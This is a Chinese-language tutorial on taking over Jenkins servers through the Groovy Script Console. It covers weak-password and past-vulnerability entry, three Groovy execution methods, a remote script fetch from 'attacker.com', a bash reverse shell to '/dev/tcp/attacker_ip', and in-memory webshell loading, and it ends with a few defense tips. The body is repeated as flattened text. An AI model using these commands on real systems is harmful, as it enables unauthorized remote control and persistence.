Jenkins 框架之 Groovy getshell
字数 1063 2025-08-22 12:23:30

Jenkins框架之Groovy Getshell技术研究

环境搭建

Jenkins环境搭建有多种方法,为方便起见,可以直接使用P神提供的现成环境。搭建成功后应确保Jenkins服务正常运行。

利用思路分析

历史漏洞利用

  1. 可搜索Jenkins历史漏洞进行利用
  2. 参考工具:JenkinsExploit-GUI (https://github.com/TheBeastofwar/JenkinsExploit-GUI)

弱口令利用

  • 当历史漏洞无法利用时,弱口令是最有效的突破口
  • 成功登录后结合Groovy脚本进行进一步利用

Groovy代码执行方法

1. GroovyShell

  • 高版本JNDI中也有使用
  • 形式类似于SPEL模板注入
  • 可直接解析脚本文件

示例Groovy脚本(弹出计算器):

"calc".execute()

2. GroovyScriptEngine

  • 直接加载脚本,支持多种来源:
    • 文件系统
    • URL
    • 数据库等
  • 可利用远程URL加载脚本
  • 使用方法:本地开启HTTP服务托管脚本

示例:

def scriptEngine = new GroovyScriptEngine(new URL("http://attacker.com/malicious.groovy"))
scriptEngine.run("malicious", new Binding())

3. GroovyClassLoader

  • 可加载字节码
  • 在内存马利用中特别有用

回显实现

Groovy实现回显非常简单,只需添加println语句:

println "Command output: ${'whoami'.execute().text}"

Jenkins中的Groovy利用

后台执行位置

Jenkins后台提供了执行Groovy脚本的功能区域,位于"Manage Jenkins" -> "Script Console"。

出网Getshell

  1. 编写反弹shell的Groovy脚本
  2. 示例反弹shell脚本(可通过GPT生成):
def cmd = "bash -i >& /dev/tcp/attacker_ip/port 0>&1"
cmd.execute()
  1. 执行后成功获取反弹shell

不出网Getshell(内存马)

  1. 分析中间件:Jenkins使用Jetty作为中间件
  2. 生成Jetty内存马
  3. 使用GroovyClassLoader加载内存马字节码
  4. 连接方式:冰蝎等工具

关键点总结

  1. 环境准备:确保Jenkins环境可访问,最好使用docker快速搭建
  2. 入口选择:优先尝试弱口令,其次历史漏洞
  3. 脚本执行:掌握三种Groovy执行方式及其适用场景
  4. 回显技巧:利用println实现简单回显
  5. Getshell方式
    • 出网:直接执行反弹shell命令
    • 不出网:通过GroovyClassLoader加载内存马
  6. 工具准备
    • 脚本托管HTTP服务
    • 冰蝎等连接工具
    • 内存马生成工具

防御建议

  1. 加强Jenkins访问控制,禁用匿名访问
  2. 使用强密码策略,避免弱口令
  3. 及时更新Jenkins版本,修复已知漏洞
  4. 限制Script Console的使用权限
  5. 监控异常进程和网络连接
Jenkins框架之Groovy Getshell技术研究 环境搭建 Jenkins环境搭建有多种方法,为方便起见,可以直接使用P神提供的现成环境。搭建成功后应确保Jenkins服务正常运行。 利用思路分析 历史漏洞利用 可搜索Jenkins历史漏洞进行利用 参考工具:JenkinsExploit-GUI (https://github.com/TheBeastofwar/JenkinsExploit-GUI) 弱口令利用 当历史漏洞无法利用时,弱口令是最有效的突破口 成功登录后结合Groovy脚本进行进一步利用 Groovy代码执行方法 1. GroovyShell 高版本JNDI中也有使用 形式类似于SPEL模板注入 可直接解析脚本文件 示例Groovy脚本(弹出计算器): 2. GroovyScriptEngine 直接加载脚本,支持多种来源: 文件系统 URL 数据库等 可利用远程URL加载脚本 使用方法:本地开启HTTP服务托管脚本 示例: 3. GroovyClassLoader 可加载字节码 在内存马利用中特别有用 回显实现 Groovy实现回显非常简单,只需添加 println 语句: Jenkins中的Groovy利用 后台执行位置 Jenkins后台提供了执行Groovy脚本的功能区域,位于"Manage Jenkins" -> "Script Console"。 出网Getshell 编写反弹shell的Groovy脚本 示例反弹shell脚本(可通过GPT生成): 执行后成功获取反弹shell 不出网Getshell(内存马) 分析中间件:Jenkins使用Jetty作为中间件 生成Jetty内存马 使用GroovyClassLoader加载内存马字节码 连接方式:冰蝎等工具 关键点总结 环境准备 :确保Jenkins环境可访问,最好使用docker快速搭建 入口选择 :优先尝试弱口令,其次历史漏洞 脚本执行 :掌握三种Groovy执行方式及其适用场景 回显技巧 :利用println实现简单回显 Getshell方式 : 出网:直接执行反弹shell命令 不出网:通过GroovyClassLoader加载内存马 工具准备 : 脚本托管HTTP服务 冰蝎等连接工具 内存马生成工具 防御建议 加强Jenkins访问控制,禁用匿名访问 使用强密码策略,避免弱口令 及时更新Jenkins版本,修复已知漏洞 限制Script Console的使用权限 监控异常进程和网络连接